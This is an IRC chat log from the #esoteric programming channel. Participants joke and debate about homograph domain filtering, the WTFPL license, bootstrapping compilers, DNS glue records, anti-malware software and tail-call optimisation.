11:38:05 <fizzie> While Firefoxy things whitelist all .fi TLD addresses, which doesn't really make sense for weird things not in the second-level domain. (They whitelist all TLDs that have a policy for misleading special characters in place.)
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11:40:52 <fizzie> Personally I think they could just allow everything below the second level; even if I were to write "finnishbankinginstitution" with some homographs, a) "finnishbankinginstruction.zem.fi" wouldn't do me much good, and b) I could do it with the real characters just as easily.
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11:41:43 <fizzie> But I suppose they're trying to fix "looks weird", not "can be used for sneakishness".
11:43:14 <fizzie> I wonder if IE would allow the beta-like 'ss', which is in latin-1. Chromium didn't, for me. (On the other hand, I don't think it allowed ä either, I must have it set in some English mode.)
11:48:06 <oerjan> <ais523> but it reminds me slightly of the VPSAD mousetrap I pulled off once, when you make absolutely sure that you've let someone know the potential consequences of someone, so that you can actually make said potential consequences happen later and they can't deny it
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11:51:47 <fizzie> Vice President of sadness, maybe?
11:52:51 <fizzie> (Vice President of Student Activities and Development, suggests G.)
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12:41:44 <ais523> only nomic-style scam I've done in real life
12:41:53 <ais523> I didn't /do/ anything with it, just wanted to see if it was possible
12:42:02 <ais523> (also, it only lasted one year, probably)
12:42:18 <ais523> (due to real life's rule 101 equivalent)
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13:27:36 <ais523> ooh, Reddit's reflecting #esoteric, in a bit
13:27:44 <ais523> we were discussing typed Underload recently
13:28:04 <ais523> and someone went and implemented a simple typed concatenative language in Haskell
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16:32:02 <ais523> heh, it seems that Pokémon's fallen guilty to the clbuttic situation, but targeted at themselves; it's impossible to trade an English-language Cofagrigus via the internet trade thing, unless you change its name from the default, because the default name trips the profanity filters
16:33:27 <ais523> it's not the only one, either :)
16:33:57 <Gregor> SMBC has been having a really good run recently: http://www.smbc-comics.com/?id=2525
16:35:12 <ais523> <Missingno. Master> A small update on the GTS fail swear filter situation. For some reason, someone on Serebii is having trouble trying to trade his Archeops, pretty much exactly how we have trouble trading Cofagrigus, Skuntank, and Marshtomp. I cannot for the life of me see the possible profanity in "Archeops", though.
16:35:19 <ais523> that's quite the profanity filter
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16:36:31 <Taneb> Maybe it's to do with the che?
16:37:22 <ais523> several people don't have internet access at weekends
16:37:31 <ais523> (people who access only from school or work)
16:38:47 <elliott_> * elliott :Nick/channel is temporarily unavailable
16:39:04 <elliott_> ais523: My estimate of the chances of that applying here are 0.
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16:39:16 <lambdabot> elliott: You have 2 new messages. '/msg lambdabot @messages' to read them.
16:39:36 <ais523> is one of them a reply from i?
16:39:47 <ais523> wait, it was oerjan who screwed that up, not you
16:40:30 <Gregor> @tell elliott_ Some years from now you will log in with an underscore in your nick, and before you ghost the original, you'll be reminded of this message I sent years prior. For no reason.
16:41:29 <ais523> elliott: he forgot the name in an @tell
16:41:40 -!- elliott has changed nick to elliott_.
16:41:42 <lambdabot> Gregor said 1m 11s ago: Some years from now you will log in with an underscore in your nick, and before you ghost the original, you'll be reminded of this message I sent years prior. For no reason.
16:41:44 -!- elliott_ has changed nick to elliott.
16:42:31 <elliott> <lambdabot> oerjan said 18h 16m 27s ago: i just looked at the [[wikipedia:complex number]] you added to Excela and it _does_ show identical to a local link. i hope that has changed in recent versions then.
16:42:47 <elliott> @tell oerjan It displays purple when visited in MW 1.18, unlike wikilinks.
16:43:04 <elliott> @tell oerjan And the same blue as external links when not.
16:43:58 <ais523> it should have some sort of externalness mark on it, really
16:44:32 <Gregor> Ideally a tiny Wikipedia logo.
16:45:29 <ais523> but that's copyrighted!
16:45:47 <ais523> (seriously, it is, and the WMF go and enforce it too; an interesting side effect of this is that you can't use the Wikipedia logo in a Wikipedia article)
16:45:59 <elliott> a tiny wikipedia logo with all the letters omitted
16:46:02 <ais523> (except occasionally due to fair use)
16:46:24 <elliott> Debian actually replaced Firefox's icon with a custom one really quickly
16:46:30 <elliott> it worked for Ubuntu for like one release :P
16:46:56 <Gregor> I was actually thinking of the stylized 'W', not the puzzle globe.
16:47:00 <ais523> I actually /like/ the name Iceweasel…
16:47:27 <elliott> Gregor: oh, that's the favicon, right?
16:47:53 <elliott> 04:28:43: <Gregor> Apparently a "type 40" QR code can store up to 2,953 characters. It's very dense. Assuming you could print, say, twelve of those at readable DPI per side of a sheet of paper, you've got about 69KB per sheet of paper. That means a floppy disk is 21 pages.
16:47:53 <elliott> 04:29:17: <Gregor> Sorry, /version/ 40.
16:47:57 <elliott> Gregor: Stop talking in the past now and read http://ollydbg.de/Paperbak/.
16:50:44 <elliott> Waaaaaaaaaaaaaah, now stfu and ignore the program parts
16:54:37 <Gregor> Doesn't download properly.
16:55:43 <Gregor> wtf, that was mind-bending.
16:55:51 <Gregor> Firefox goes all nutty trying to download it, wget had no problem.
16:56:23 <elliott> Gregor: wget uses paper-backed downloads.
16:56:28 <elliott> That's why it's more reliable.
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17:01:49 <HackEgo> fnaptagur: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
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17:05:25 <ais523> yet another example of WKOE which has plagued #esoteric for a long time
17:05:33 <ais523> hmm, what does the WKOE expand to?
17:06:27 <elliott> ais523: wrong kind of esoteric
17:07:32 <Gregor> We have no evidence that it was a WKOE.
17:07:39 <Gregor> Could have just been an imbecile.
17:08:20 <elliott> Gregor: I have a sense for WKOEs.
17:09:33 <elliott> this just in: Java gets unsigned arithmetic
17:10:11 <ais523> elliott: not really, it's just adding more library functions for doing it
17:10:19 <ais523> major gain from this is unsigned < and >
17:10:29 <ais523> >>> is more arithmetic than < is
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17:13:47 <Phantom___Hoover> fizzie, if that was the case we'd have to jump ship immediately before Wolfram bought the place up.
17:16:20 <elliott> wait, the lament impersonator wasn't iament
17:17:10 <elliott> @tell oerjan "removing fowl language" -- you, removing the word "cocks" from [[Esolang:Sandbox]], 2007
17:17:32 <elliott> @tell oerjan I don't think anyone can ever forgive your puns.
17:19:11 <elliott> ais523: is it bad to edit the database to fix a typo in a log message?
17:19:33 <ais523> yes, that's ridiculous :)
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17:25:54 <elliott> ais523: stop using commas like that
17:27:28 <elliott> "amusingly, to wrap around the OCaml REPL; I didn't realise that ledit itself was written in OCaml, but trying to determine its version number to answer your question, it became obvious, because nothing else has an argument parser that works quite like that"
17:27:30 -!- Taneb has joined.
17:27:39 <elliott> also, stop using BBCode on reddit; this is the second time you've done it without noticing it doesn't work
17:29:32 <ais523> it's its fault, it doesn't have a preview button
17:29:37 <ais523> I'm used to previewing before posting
17:29:42 <ais523> this means I tend not to preview afterwards
17:29:50 <ais523> also, Markdown is incredibly bad for use on fora, wikis, etc.
17:30:05 <ais523> it does seem reasonably good for its intended purpose, which is writing documentation
17:30:08 <ais523> but not for sandboxing HTML
17:30:10 <elliott> it has a "help" link right next to submit
17:30:12 <ais523> it's designed to be intermixed with HTML
17:30:19 <ais523> elliott: that doesn't show preview, though! that just explains markdown
17:30:31 <elliott> which is a sufficient explanation that BBCode /won't/ work
17:31:07 <fizzie> Did you know: "In order to program a computer, you must be able to think like the computer."
17:31:40 <ais523> bbcode fixed, at least
17:31:46 <ais523> elliott: the problem is not that I don't know that bbcode doesn't work
17:31:55 <ais523> the problem is that there's no real indication that I typed it, but carefully scanning the post for bbcode
17:31:59 <Taneb> Are we still having the Alan Dipert is asleep problem?
17:32:01 <ais523> or looking at it /after it's submitted/
17:32:11 <ais523> because there isn't a preview
17:33:11 <olsner> look at it after submitting, then do edit if it was wrong
17:34:26 <elliott> ais523: reddit also has an edit link
17:34:41 <Taneb> elliott, the whois info gives a phone number. Is that an option?
17:34:52 <ais523> elliott: right, I just edited the BBcode out
17:35:13 <ais523> Taneb: it's rare for that to go to the person who owns the domain, normally it goes to a domain registrar switchboard
17:35:39 <elliott> ais523: http://www.reddit.com/r/programming/comments/p31g9/the_bintrue_command_and_copyright/c3m7ndz :P
17:35:43 <elliott> also, I'm not going to phone someone
17:36:12 <Taneb> He hasn't tweeted in 4 days
17:36:37 <ais523> elliott: that was ages ago! and nobody else commented on the bbcode
17:36:42 <ais523> thus, I'll assume that people are just parsing it mentally
17:36:43 <elliott> Taneb: he seems to tweet only infrequently
17:36:54 <elliott> (I tried to use that to figure out if he'd be awake or not when I sent it, heh)
17:36:58 <ais523> you can tell I use webforums much more than I use reddit, right?
17:37:01 <elliott> ais523: But I saw it and went ":(".
17:37:06 <elliott> ais523: You don't want me to go ":(".
17:37:08 <ais523> oh, and bbcode is much better than markdown
17:37:30 <elliott> ah, somebody put ais523 on repeat again
17:37:31 <Taneb> He normally has a few tweets every couple of days
17:38:18 <fizzie> Taneb: Maybe he's using an offline Tweeter and connects every couple of days? (Has anyone made one? I's sure *someone* has.)
17:38:57 <ais523> elliott: did you see the comment where I found a contradiction in the WTFPL?
17:39:14 <ais523> http://www.reddit.com/r/programming/comments/pql5k/simplified_tetris_in_less_than_140_bytes_of/c3rmuw9?context=3
17:42:26 <elliott> ais523: it appears to be a mistake; contact Sam Hocevar, maybe he'll publish WTFPLv3
17:42:38 <elliott> and we can have flamewars over which version is better
17:43:32 <ais523> personally, I think the WTFPL is a very bad license
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17:43:40 <ais523> especially because there's no warranty disclaimer
17:44:15 <ais523> in fact, it's possible it has no legal force at all, and someone who licenses work over the WTFPL can subsequently sue for copyright infringement if someone else distributes it
17:44:19 <elliott> Why is there no “no warranty” clause?
17:44:19 <elliott> The WTFPL is an all-purpose license and does not cover only computer programs; it can be used for artwork, documentation and so on. As such, it only covers copying, distribution and modification. If you want to add a no warranty clause for a program, you may use the following wording in your source code:
17:44:19 <elliott> * the extent permitted by applicable law. You can redistribute it
17:44:21 <elliott> * and/or modify it under the terms of the Do What The Fuck You Want
17:44:23 <elliott> * To Public License, Version 2, as published by Sam Hocevar. See
17:44:25 <elliott> * http://sam.zoy.org/wtfpl/COPYING for more details. */
17:44:42 <ais523> (I say this due to the lawsuits that upheld the validity of the GPL and Artistic License; they were both on bases that don't apply to the WTFPL)
17:44:56 <elliott> ais523: the FSF's lawyers accept WTFPL
17:45:03 <elliott> and the OSI have implied that they consider it effective
17:45:14 <ais523> I guess estoppel might work
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17:45:28 <elliott> "Title: WTFPL Submission: http://crynwr.com/cgi-bin/ezmlm-cgi?17:mss:634:200902:aglgcgbhmfcheffmdgon License: http://sam.zoy.org/wtfpl/ Comments: It's no different from dedication to the public domain. Author has submitted license approval request -- author is free to make public domain dedication. Although he agrees with the recommendation, Mr. Michlmayr notes that public domain doesn't exist in Europe. Recommend: Reject"
17:45:52 <ais523> (you have to be careful about such things; the GPL was broken in Germany for a couple of years until the government specifically passed an amendment to a law to fix it)
17:45:59 <elliott> (cite for FSF: http://lists.debian.org/debian-legal/2002/09/msg00032.html)
17:46:26 <elliott> ais523: anyway, that's a silly objection since it applies to even ubiquitous licenses like BSD3/MIt
17:46:36 <ais523> elliott: right, indeed
17:47:03 <ais523> but it's easy to envisage a different case that doesn't apply to the WTFPL due to lack of economic gain from the licensing
17:47:13 <elliott> Gregor: what's stupid about it?
17:47:24 <ais523> the Artistic License was upheld in court solely on the attribution requirement (the other parts may have been relevant too but weren't tested)
17:47:27 <Gregor> The no warranty clause bit.
17:47:37 <elliott> Why is there no “no warranty” clause?
17:47:37 <elliott> The WTFPL is an all-purpose license and does not cover only computer programs; it can be used for artwork, documentation and so on. As such, it only covers copying, distribution and modification. If you want to add a no warranty clause for a program, you may use the following wording in your source code:
17:47:39 <elliott> * the extent permitted by applicable law. You can redistribute it
17:47:41 <elliott> * and/or modify it under the terms of the Do What The Fuck You Want
17:47:43 <elliott> * To Public License, Version 2, as published by Sam Hocevar. See
17:47:45 <elliott> * http://sam.zoy.org/wtfpl/COPYING for more details. */
17:47:49 * elliott prepares to set up a keyboard macro for the inevitable third paste
17:47:53 <ais523> and the GPL on the basis that the author got an economic benefit out of the requirement for distributed modifications to be backcontributed
17:47:58 <Gregor> But stupid people will happily use it without the no-warranty clause.
17:48:08 <Gregor> And since only stupid people use it, that means that nobody will ever read that.
17:48:23 <elliott> The cutting your own body parts off bit.
17:48:26 <ais523> hmm, I wonder if you can take some WTFPL software and imply an indemnification clause into it, on the basis that it does anything
17:48:30 <elliott> [safety instruction manual gets quoted]
17:48:54 <ais523> if I can do anything with the code, can I take that as permission to have the original author responsible if anything goes wrong with the code?
17:49:04 <ais523> (an indemnification's a bit stronger than a warranty)
17:49:14 <Gregor> elliott: It would be stupid for the chainsaw manufacturer to sell it without the safety instructions. It would be stupid to publish code without a warranty disclaimer.
17:50:00 <elliott> Gregor: The WTFPL manufacturer sells it with the safety instructions, and does not publish code without a warranty disclaimer.
17:50:09 <elliott> That quote is from the WTFPL page.
17:50:29 <Gregor> elliott: I'm not claiming that the WTFPL author is being stupid, I'm claiming that people who use the WTFPL tend to be stupid. Since they only use it because "waaah I hate legalese"
17:50:44 <Gregor> But the people who use the WTFPL are also distributors, distributors of code.
17:50:56 <elliott> OK, so "WTFPL. So stupid." == "[Most] WTFPL [users]. So stupid."
17:51:28 <Gregor> But the reason why most WTFPL users are so stupid is because the license only exists so you can go "waaah I hate legalese"
17:51:45 <elliott> "In fact, both license types have unacceptable obnoxious clauses (such as reproducing a huge disclaimer that is written in all caps) that severely restrain our freedoms. The WTFPL can solve this problem.
17:51:45 <elliott> When analysing whether a license is free or not, you usually check that it allows free usage, modification and redistribution. Then you check that the additional restrictions do not impair fundamental freedoms. The WTFPL renders this task trivial: it allows everything and has no additional restrictions."
17:52:04 <elliott> Gregor: Wrong; WTFPLv2 exists to allow everything, at least.
17:52:10 <elliott> Dunno about the motivations of WTFPLv1 (by a different author).
17:52:53 <elliott> He does a lot of things. He was the leader of Debian for a while, I think.
17:53:38 <elliott> Right, yes: http://en.wikipedia.org/wiki/Debian#Project_leaders
17:55:30 <elliott> the original WTFPL is nicer
17:55:50 <fizzie> The King of Debian. That would be a nice title.
17:55:52 <elliott> do What The Fuck you want to Public License
17:55:52 <elliott> Copyright (C) 2000 Banlu Kemiyatorn (]d).
17:55:52 <elliott> 136 Nives 7 Jangwattana 14 Laksi Bangkok
17:55:53 <elliott> Everyone is permitted to copy and distribute verbatim copies
17:55:55 <elliott> of this license document, but changing it is not allowed.
17:55:59 <elliott> Ok, the purpose of this license is simple
17:56:03 <elliott> DO WHAT THE FUCK YOU WANT TO.
17:56:07 <elliott> fizzie: /kickban fizzie disrupting the sanctity of [[]]s
17:57:08 <elliott> hmm, CC0 is only like half the size of the GPL
17:59:52 <elliott> that was meant as a comment that CC0 is long
18:01:49 <elliott> ais523: oh, I have a better cite for the FSF: http://www.gnu.org/licenses/license-list.html#WTFPL
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18:44:04 <nys> bootstrappables
18:44:22 <nys> i like that word
18:44:25 <nys> bootstrappables
18:44:37 <elliott> bootstrappable is an adjective
18:45:33 <nys> i like bootstrappable languages
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18:50:04 <elliott> bootstrappability isn't a property of a language
18:50:23 <elliott> "can implement itself" works, but is a rather weak properly
18:50:31 <elliott> every TC language meets it, so almost every language people talk about meets it
18:50:36 <elliott> and tons of non-TC languages meet it too
18:51:03 <nys> i mean the way forth is mostly written in forth
18:51:30 <Gregor> So, not a similar property at all.
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18:56:00 <elliott> nys: that's not really what bootstrapping is used to mean
18:57:16 <nys> a self-sustaining process that proceeds without external help
18:57:35 <elliott> Yes, which does not apply to a Forth written in a non-Forth language, even if most of the library is written in Forth.
18:57:44 <elliott> Also, that definition excludes everything.
18:57:52 <elliott> If you don't depend on an OS, you depend on the CPU's instruction set.
18:57:57 <elliott> Eventually you depend on the universe.
18:58:22 <nys> well, once you write the few basic words, you can write the rest without any external help
18:59:39 <elliott> That's just a minimal core. The same applies to e.g. the lambda calculus.
19:00:12 <Gregor> Having a minimal core allowing for broad abstraction is a nice property, but not related to bootstrappability.
19:01:19 <nys> okay, it has a minimal core as well as bootrappability
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19:01:46 <nys> what is your definition of bootstrappability?
19:01:59 <elliott> A bootstrapping compiler is one that can compile itself.
19:02:07 <elliott> So, a Forth compiler in Forth is bootstrapping.
19:02:20 <elliott> Or bootstrappable. Whatever.
19:02:38 <elliott> gcc, CMUCL, SBCL, GHC, etc. are all bootstrapping compilers.
19:02:42 <elliott> Most Forths too, but not all.
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19:04:02 <elliott> nys: A small core aids bootstrappability, of course.
19:04:03 -!- ais523 has quit (Remote host closed the connection).
19:04:06 <elliott> Since you have to implement less.
19:05:25 <Gregor> To define it in terms of the language instead of the compiler, a language in which a compiler or interpreter for the language can be implemented is a bootstrappable language.
19:06:06 <nys> <elliott> bootstrappability isn't a property of a language
19:06:27 <Gregor> <elliott> well <elliott> "can implement itself" works, but is a rather weak properly
19:06:31 <Gregor> I choose to use that definition :)
19:07:30 <elliott> Technically all languages are bootstrappable if you allow compilers.
19:07:44 <elliott> The identity function in language L is a bootstrapping compiler for L.
19:07:52 <elliott> So any language that can implement cat qualifies.
19:08:02 <elliott> (Okay, not "all languages", but all languages with basic IO support.)
19:08:18 <Sgeo> My first thought was Gravity :/
19:09:13 <elliott> I kind of want to get esolangs.org transferred to me with this latency >_>
19:10:19 <fizzie> elliott: It expires in 24-May-2013, maybe you can claim it then if Whoever Whoeveritwas doesn't wake up before that.
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19:13:51 <Sgeo> What happened?
19:18:30 <elliott> Sgeo: Nothing, that's the problem.
19:18:47 <elliott> fizzie: I rather expect renewal or squatting will take it before I could.
19:19:47 <fizzie> Well, maybe, but presumably e'd have to be awake to renew it.
19:20:04 <fizzie> Anyway it's winter, all kinds of critters are hibernating.
19:20:05 <elliott> fizzie: You last registered a domain in 1995, I take it?
19:20:08 <elliott> Auto-renewal is standard now.
19:21:37 <fizzie> Blah-dard; none of my (two is plural!) domains "auto-renew". I mean, how'd that even work, automatically charge a credit card, or send an invoice, or something?
19:22:08 <elliott> Yes, of course it automatically charges your card... which the registrar already has the details of...
19:22:22 <elliott> I would say manual renewal is most definitely the exception this century. I will go to... Gregor to back this up.
19:23:01 <Gregor> All my dozens of domain names autorenew.
19:23:58 <elliott> Sponsoring Registrar:GoDaddy.com, Inc. (R91-LROR)
19:24:09 <elliott> Oh, no. I really must get esolangs.org transferred to me.
19:25:28 <elliott> http://s3.buysellads.com/1242768/35493-1283434214.jpg
19:25:28 <fizzie> I don't think my .org place has my credit card info in file; definitely not the government-run .fi place, since I've paid those with the national (net-)bank transfer thing-thing.
19:25:42 <elliott> This is the funniest ad ever.
19:25:48 <olsner> I get an invoice for my domain
19:31:41 <elliott> Oh, hmm, apparently they resell to a bajillion companies.
19:32:22 <fizzie> It's that register4less place. I haven't really bothered to change.
19:35:04 <fizzie> I should put in some IPv6 glue for selene.gehennom.org, and/or just not have it be inside the domain like that, since it's got a proper name in zem.fi anyway.
19:35:49 <elliott> That sentence makes absolutely no sense to me.
19:36:03 <elliott> (Also if I got esolangs.org transferred to me I could make it IPv6-ready!(TM)(C)(R))
19:38:41 <elliott> "To avoid dealing with the overhead of boxed values and to allow reuse of the built-in arithmetic operators, the unsigned API support does not introduce new types like UnsignedInt with instance methods to perform addition, subtraction, etc. However, that lack of separate Java-level unsigned types does mean a programmer can accidentally improperly mix signed and unsigned values. However, new unsigned types aren't the only way to mitigate this haza
19:38:41 <elliott> rd. For example, a naming convention of adding a trailing "U" or "_U" to variables holding unsigned values could be adopted."
19:38:57 <fizzie> When you have a nameserver for X.Y inside it (i.e. foo.X.Y), it needs "glue" IPv4/IPv6 address records at the nameserves of Y; otherwise Y's nameservers will just tell everyone that "to find out about X.Y, ask foo.X.Y", which isn't quite enough. (With the glue, it's "..., ask foo.X.Y at 1.2.3.4 or 1:2:3:4:5:6:7:8".)
19:39:01 <elliott> Oracle are actually, honest-to-god proposing Hungarian notation as a bandaid for their inability to overload operators
19:39:10 <elliott> (Making defining a new type infeasible.)
19:39:37 <elliott> fizzie: You run your own nameservers?
19:40:05 * elliott wonders what GABRIELI.VPS.KOTISIVUT.COM is.
19:40:06 <fizzie> That's the way Things Were Done.
19:40:23 <fizzie> kotisivut.com is a Finnish hosting/VPS place.
19:40:30 <fizzie> It's literally "homepages.com".
19:40:51 <fizzie> (It's a friend's box.)
19:41:14 <fizzie> I... see there's a webserver there.
19:41:58 <elliott> fizzie: Things Were Done as in common practice at one time?
19:42:20 <elliott> Also, tell your friend their website is shitty.
19:43:24 <fizzie> Well, I don't know about common; at least it used to be the case that domain registration cost less $s than domain registration + DNS services; and free primary-DNS places were awfully awful.
19:43:52 <fizzie> There was this one granitecanyon thing.
19:43:59 <fizzie> I suppose it's dead now.
19:44:14 <elliott> Gregor mentioned them I think.
19:44:48 <elliott> GraniteCanyon.com - Google Public DNS
19:44:49 <elliott> whois.domaintools.com/granitecanyon.com
19:44:52 <elliott> --Google search for granitecanyon
19:44:58 <elliott> "Google Public DNS" appears nowhere on the page.
19:45:04 <elliott> The Google Public DNS site is also the third result.
19:45:05 <Gregor> granitecanyon is dead, yes.
19:45:17 <Gregor> But also most registrars throw in a free DNS server now.
19:45:18 <elliott> fizzie: Dead since at least 2001, it seems.
19:45:26 <elliott> But yeah, I've never seen a registrar not offer DNS.
19:45:31 <elliott> Also VPS companies tend to.
19:45:35 <elliott> (Slicehost and Linode both do.)
19:47:21 <fizzie> Anyway, I didn't have a VPS account back then, I just had a computer.
19:48:17 <fizzie> I see gehennom.org was created in Aug 2002; I think I had just moved to the place where I had a beehive in my curtains.
19:48:23 <fizzie> (It's the most memorable thing about that place.)
19:48:54 <fizzie> Yeah. I kept the windows open the whole summer, it was pretty warm there. Then when I was taking the curtains down when moving out, a beehive dropped down.
19:49:20 <fizzie> I spent a couple of hours elsewhere to wait for them to abandon it, as I recall.
19:49:38 <fizzie> It wasn't a *big* one, but still.
19:49:54 <kallisti> I need a non-#esoteric person to answer my questions
19:50:01 <fizzie> Actually I mean a wasp nest.
19:50:06 <fizzie> Sorry for the confusion there.
19:50:26 <olsner> #esoteric, your premier source for non-#esoteric people
19:50:34 <fizzie> They all fly and buzz and so on, anyway.
19:51:03 <kallisti> Nisstyre: why on earth do you frequent #python?
19:51:23 <fizzie> Like a MODERN-DAY JESUS, e is.
19:51:36 <kallisti> Nisstyre: are there no intelligent #python regulars that can do that already?
19:51:45 <Nisstyre> kallisti: they're in short supply
19:52:00 <elliott> fizzie: OK, a wasp nest is less impressive than a beehive.
19:52:04 <Nisstyre> kallisti: tbh I am on a lot of channels on freenode
19:52:11 <Nisstyre> and I do not chat on a lot of them much
19:52:22 <kallisti> asking #python about TCO is actually not a good way to troll. because, they apparently don't know what it is or why it's not in python.
19:52:32 <fizzie> elliott: Yes, I think so too. Still, it was memorable.
19:53:06 -!- monqy has joined.
19:53:31 <Nisstyre> kallisti: I was able to implement TCO on my calculator, since it lets you manipulate the stack in the language
19:53:54 <kallisti> Nisstyre: ah. so you manually performed the TCO I guess?
19:53:59 <kallisti> or was there a way to automate it?
19:54:03 <Nisstyre> with some functions like fold and unfold
19:54:11 <Nisstyre> and then I use those functions
19:54:55 -!- oerjan has joined.
19:55:39 <elliott> Nisstyre: If RPL has loops, you could just implement foldl as one.
19:55:47 <Nisstyre> elliott: I eventually did do that
19:55:50 <elliott> foldr too, though it'd be trickier.
19:55:53 <Nisstyre> the first way was just for fun
19:56:03 <lambdabot> elliott said 3h 13m 15s ago: It displays purple when visited in MW 1.18, unlike wikilinks.
19:56:03 <lambdabot> elliott said 3h 12m 57s ago: And the same blue as external links when not.
19:56:04 <lambdabot> elliott said 2h 38m 51s ago: "removing fowl language" -- you, removing the word "cocks" from [[Esolang:Sandbox]], 2007
19:56:04 <lambdabot> elliott said 2h 38m 29s ago: I don't think anyone can ever forgive your puns.
19:56:18 <Nisstyre> it has for loops, and do until statements
19:58:06 <oerjan> elliott: i punned already back then? ok.
19:58:43 <fizzie> It hasn't actually be... what, it's been *five years* since 2007?
19:59:21 <fizzie> That's half a decagon.
19:59:26 <elliott> oerjan: It was in December IIRC.
19:59:27 <oerjan> it's eerie how much faster my laptop got when ditching avg.
19:59:31 <elliott> So, quite many months since I first came to #esoteric.
19:59:45 <elliott> oerjan: Now ditch IE and marvel at how even faster it gets.
20:00:06 <elliott> fizzie: The wiki being 7 years surprised me greatly.
20:01:08 <oerjan> (technically i also ditched spybot, although i'm not sure if that was even running, since i never noticed it.)
20:01:35 <elliott> I believe Spybot is a batch tool.
20:01:38 * kallisti googles "functional programming python" and seethes with rage.
20:01:51 <elliott> Anyway, upwards of 90% of Windows "security" software is junk.
20:02:19 <kallisti> does oerjan secretly have the computer savvy of my parents?
20:02:24 <oerjan> avg was nice in the beginning, but they had to add more and more things.
20:02:31 <fizzie> A "Spybot" sounds like a bad thing, not like a good thing.
20:02:49 <elliott> oerjan: Well, "junk" as in "useless at best".
20:02:52 <kallisti> fizzie: dunno, they've worked well for my purposes.
20:03:00 <oerjan> fizzie: "Spybot Search & Destroy", i have been assuming it was anti-spy software.
20:03:02 <elliott> I'm not convinced the 9% is worth using, either, unless you're using some ancient unpatched version of Windows or the like.
20:03:13 <oerjan> i think my cousin may have added it.
20:03:14 <elliott> oerjan: It's anti-malware. Why do you install software you don't know what it does...?
20:03:25 <fizzie> oerjan: Oh, the name continues like that.
20:03:29 <elliott> Well, anti-(spyware|malware).
20:03:38 <elliott> Well, anti-(spyware|adware).
20:03:50 <olsner> oerjan: how did your cousin manage to install crap on your computer?
20:03:55 <fizzie> anti-(spy|ad)ware LET'S OPTIMIZE THOSE REGEX.
20:04:12 <elliott> "SpySheriff, also known as Brave Sentry, Pest Trap, SpyTrooper,[1] and SpywareNo,[2] is malware that disguises itself as an anti-spyware program." -- these ones are the best.
20:04:22 <elliott> MALWARE IS SUPER ILLEGAL AND MAY BE ON YOUR COMPUTER NOW!!!
20:04:30 <oerjan> <kallisti> does oerjan secretly have the computer savvy of my parents? <-- quite possibly, i tend not to learn the parts of computer maintenance which don't interest me.
20:04:32 <elliott> REMEMBER: ALWAYS STAY SAFE ON THE INTERNET BY NOT DOWNLOADING TRUSTED SOFTWARE
20:04:47 <kallisti> oerjan: I'm the same way actually, with linux.
20:04:57 * elliott wonders why oerjan is even running Windows.
20:05:01 <kallisti> the Windows stuff I just picked up as a kid.
20:05:02 <olsner> elliott: is this from the site of an anti-spyware tool?
20:05:27 <Nisstyre> kallisti: it's possible to do some very functional stuff with python
20:05:33 <Nisstyre> but you have to implement some things yourself
20:05:55 <oerjan> elliott: it came with the computer and i'm too lazy too change, and to scared of breaking it completely in the process.
20:06:19 <kallisti> Nisstyre: wouldn't the pythonic way be to use generators instead?
20:06:28 <elliott> oerjan: I would give anyone who managed to break a computer to the point where sticking in a Windows CD didn't work to reinstall Windows a medal.
20:06:44 <olsner> a pythonic way to do functional programming? derp
20:06:47 <elliott> oerjan: *break a computer to the point [...] by trying to install an OS a medal.
20:07:04 <Nisstyre> kallisti: http://codepad.org/4irStQot
20:07:33 <kallisti> Nisstyre: yes I'm aware that python has itertools and higher-order functions.
20:07:59 -!- Chef_ has joined.
20:08:00 <Nisstyre> kallisti: that would be better written with linked lists though, is my point
20:08:15 <Nisstyre> and not generators or iterators
20:08:28 <Nisstyre> of course it wouldn't be tail recursive
20:08:37 -!- oerjan has quit (Quit: Lost terminal).
20:08:50 <fizzie> elliott: He tried, and now it's broken.
20:09:24 <elliott> @tell oerjan HERE'S YOUR MEDAL!
20:09:25 -!- oerjan has joined.
20:09:35 <fizzie> Oh, maybe I "jumped the gun" there.
20:09:36 <monqy> speak of the devil
20:10:11 <oerjan> *sigh* that network error seems to have returned in recent days
20:10:11 <lambdabot> oerjan: You have 1 new message. '/msg lambdabot @messages' to read it.
20:10:16 <lambdabot> elliott said 52s ago: HERE'S YOUR MEDAL!
20:11:08 <oerjan> darn now my laptop wants a reboot
20:11:13 -!- oerjan has quit (Client Quit).
20:11:24 <elliott> "oerjan... reboot me... PLEASE."
20:11:25 <monqy> laptops are people too
20:12:08 <Nisstyre> elliott: actually a program like that might not be a bad idea
20:12:17 <Nisstyre> it could also tell you when it's low on memory, etc...
20:12:28 <monqy> oerjan... i'm low on memory... PLEASE
20:12:45 <elliott> Nisstyre: None of those things really demand a reboot.
20:12:53 <Nisstyre> elliott: no, I mean in general
20:12:59 <Nisstyre> in addition to telling you it needs a reboot
20:14:22 <kallisti> when doing TCO in the case of a tail recursive call, is it more common to simply remove the stack frame and replace it with the tail call's frame, or do some implementations actually translate the code into a loop?
20:14:26 <elliott> When does a computer ever need a reboot; things like Windows installers arleady tell you you need to reboot, and apart from that it's just kernel upgrades and the like :P
20:14:57 <elliott> kallisti: Tail recursion optimisation usually turns the call into assignments of arguments and a goto.
20:15:10 <elliott> kallisti: More general tail-call optimisation usually just replaces the stack frame.
20:15:16 -!- Chef__ has joined.
20:15:34 <kallisti> elliott: do implementations attempt to spot mutual recursion and such?
20:16:34 <olsner> you should get that for free if you do tail-call optimisation well enough
20:16:40 <olsner> at least if you mutually recurse by tail calls
20:16:47 <elliott> kallisti: TCO implies mutual recursion optimisation...
20:17:06 <elliott> That's what it mostly buys you over TRO.
20:17:18 <kallisti> I mean does it attempt to translate it to assignment in jumps in the same way as a tail recursive call
20:17:21 <elliott> (Apart from eliminating a bunch of additional constant space factors)
20:17:22 <kallisti> I assumed the normal TCO applied.
20:17:35 <elliott> kallisti: If you're doing general TCO optimisation, you don't need to do TRE.
20:17:46 <kallisti> would it not be faster in that case?
20:17:59 <kallisti> I assumed replacing stack frames was expensive.
20:18:03 <kallisti> or more so than assignments and gotos
20:18:06 -!- zzo38 has joined.
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20:18:28 <elliott> You assume a lot of things.
20:18:59 <kallisti> so deleting a stack frame and then replacing it with a stack frame of the same size is not a waste of time?
20:19:07 <elliott> I don't think you know how the stack works.
20:19:32 -!- oerjan has joined.
20:19:33 <monqy> what do you mean deleting, kallisti
20:19:35 -!- MoALTz has joined.
20:19:52 <kallisti> so it just overwrites the frame..
20:20:15 <elliott> The stack is a contiguous block of memory.
20:20:19 <elliott> It's whatever the stack pointer points to.
20:20:34 <elliott> The pointer gets incremented and decremented as stuff gets pushed and popped of it.
